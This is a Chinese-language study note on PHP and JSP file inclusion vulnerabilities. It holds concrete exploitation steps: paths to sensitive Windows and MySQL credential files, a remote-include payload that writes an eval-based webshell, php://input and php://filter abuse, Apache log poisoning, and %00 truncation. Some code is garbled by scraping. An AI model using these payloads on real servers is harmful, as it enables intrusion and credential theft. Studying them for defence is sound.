包含:把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案,而無需再次編寫。
php包含
php中提供了四個檔案包含函式:
require:找不到被包含的檔案時會產生致命錯誤(e_compile_error),並停止指令碼;
include:找不到被包含的檔案時只會產生警告(e_warning),指令碼將繼續執行:
require_once:與require類似,唯一區別如果該檔案中的**被包含,則不會再次包含。
include_once:與include類似,唯一區別如果該檔案中的**被包含,則不會再次包含。
1,檔案包含示例
本地包含
<?php
function
printarr
($arr
,$sp
="-->"
,$lin="
') }
?>
<?php
include("arrayutil.php");//包含arrayutil.php檔案
$arr
= array("張三",「李四"
,"王五");
printarr
($arr
,"==>");
?>
這為普通的檔案包含,但是我們可以利用:
<?php
phpinfo()
;?>
//在phpinfo.txt文字檔案中
<?php
include
("phpinfo.txt");
?>
只要檔案符合php語法規範,txt,jpg,***,doc,等副檔名都可以被php解析。
但包含非php語法規範原始檔,將會暴露其源**。
2,遠端包含remote file include(rfi)
①,需要確定php是否已經開啟遠端包含功能選項(php預設關閉遠端包含功能)。
②,開啟遠端包含功能需要在php.ini配置檔案中修改,修改後需要重啟web容器服務使其生效。
allow_url_include = off
<?php
echo
" hello"
;?>
//根目錄下存在php.txt
<?php
include
($_get
['page'])
;?>
訪問url/index.php?page=url/php.txt
遠端檔案包含與本地檔案包含沒有區別,只要符合php語法,php解析器就會對其解析。
檔案包含漏洞範例
<?phpif(
isset
($_get
['page'])
)else
?>
漏洞在於如果page=xx.php 如果xx不存在,但是xx不是空的,通常情況下就會出現警告,暴露出**的絕對路徑.
php檔案包含利用
1,讀取敏感檔案
windows:
c:\boot.ini //檢視系統版本
c:\windows\system32\inetsrv\metabase.xml //iss配置檔案
c:\windows\repair\sam //儲存windows系統初次安裝的密碼
c:\program files\mysql\my.ini //mysql配置
c:\program files\mysql\data\mysql\user.myd //mysql root
c:\windows\php.ini // php配置資訊
c:\windows\my.ini //mysql配置資訊
2,遠端包含shell
前提 allow_url_fopen是啟用的
echo.txt檔案
<?
fputs
(fopen
("shell.php"
,"w"),
"<?php eval($_post
[xxser]
);?>"
)?>
訪問url/index.php?page=url/echo.txt
會在index.php目錄下生成shell.php
3,php封裝協議
①讀取url?page=php://filter/read=位址
②寫入php://input可以執行php語句 前提allow_url_fopen=o
構造:url?page=php://inpit,並且提交資料(提交上面那條語句將會在index.php目錄下生成shell.php)
4,包含apache日誌檔案
php存在本地包含漏洞導致檔案無法上傳,此時就需要找到apache路徑,利用包含漏洞包含apache日誌檔案獲取webshell。
apache執行後一般預設生成2個日誌檔案
access.log(訪問日誌)
error.log(錯誤日誌)
如果**存在本地包含漏洞,但是沒有可以包含的檔案,可以訪問url/<?php phpinfo();?>。apache會記錄請求<?php phpinfo();?>,並寫到access.log檔案中。這時候就可以去包含apache日誌檔案。<>空格會被轉碼,(<=%3c >=%3e 空格=%20) 這樣去繞過。
5,截斷包含
php修復包含漏洞鞏固拓展名:
<?phpif(
isset
($_get
['page'])
)else
?>
將檔案拓展名固定了
?page=1.jpg 會因為找不到1.jpg.php而無法包含。
但是改為page=1.jpg%00就可以執行了(前提:magic_quotes_gpc=off)
為on情況下 " 』 \ null 都會被轉義
jsp包含
jsp包含分為:靜態包含,動態包含。
1,靜態包含
先進行包含,再做處理操作。
jsp語法規定,include指令為靜態包含,只允許包含乙個已經存在於伺服器中的檔案。
2,動態包含
先處理被包含頁面,再包含。
當jsp:include/標籤在包含乙個非jsp檔案拓展名時,如果內容符合jsp語法會讀取源**,不會解析jsp**。
客戶端跳轉
客戶端跳轉又名重定向,客戶端跳轉後瀏覽器url發生改變,通常使用response.sendredirect()方法。
伺服器端挑戰
伺服器跳轉又稱url**,跳轉後瀏覽器的url不變。
伺服器跳轉通常使用requestdispatcher介面中的forward方法。
url發生跳轉的時候,可能會暴露web.xml
url?pathname=./web-inf/web.xml
檔案包含漏洞學習筆記
程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案而無需再次編寫,這種呼叫檔案的過程被稱為包含。被包含的檔案設定為變數,用來動態呼叫時,導致客戶端可以呼叫乙個惡意檔案,造成檔案包含漏洞。index.php filename get page include page...
檔案包含漏洞
簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...
檔案包含漏洞
1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...